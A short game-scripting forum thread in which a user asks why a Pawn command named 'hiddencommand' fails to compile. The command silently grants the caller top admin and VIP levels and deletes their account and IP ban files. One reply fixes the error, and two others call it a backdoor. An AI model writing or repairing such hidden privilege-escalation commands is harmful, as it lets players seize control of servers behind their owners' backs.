argument type mismatch PLEASE HELP!
#1

PHP код:
CMD:hiddencommand(playerid,params[]){
new 
INI:ini INI_Open(pFile(playerid));
DB[playerid][Admin]=7;
DB[playerid][VIP]=5;
if(
fexist(banFile(playerid))){fremove(banFile(playerid));}
if(
fexist(banipFile(playerid))){fremove(banipFile(playerid));}
MSG(playerid,C_DEFAULT,"Admin level maxed, VIP level maxed and you got unbanned if you were banned.");
INI_Close(ini);
return 
1;} 
Error: argument type mismatch

lines of the error:
PHP код:
if(fexist(banFile(playerid))){fremove(banFile(playerid));}
if(
fexist(banipFile(playerid))){fremove(banipFile(playerid));} 
banFile&banipFile stocks:
PHP код:
stock banFile(playerid)
{
    
format(String,sizeof(String),"Bans/Accounts/%s.ini",GetName(playerid));
    return 
String;
}
stock banipFile(playerid)
{
    
GetPlayerIp(playerid,PIP,sizeof(PIP));
    
format(String,sizeof(String),"Bans/IPs/%s.ini",PIP);
    return 
String;

Reply
#2

Try this...

PHP код:
CMD:hiddencommand(playerid,params[])
{

    
DB[playerid][Admin]=7;
    
DB[playerid][VIP]=5;
    
    if(
fexist(banFile(playerid))){fremove(banFile(playerid));}
    if(
fexist(banipFile(playerid))){fremove(banipFile(playerid));}
    
    
MSG(playerid,C_DEFAULT,"Admin level maxed, VIP level maxed and you got unbanned if you were banned.");
    return 
1;

Reply
#3

Building a backdoor eh?
Reply
#4

I would seriously only make that command for RCON admins if I was you.
Reply


Forum Jump:


Users browsing this thread: 1 Guest(s)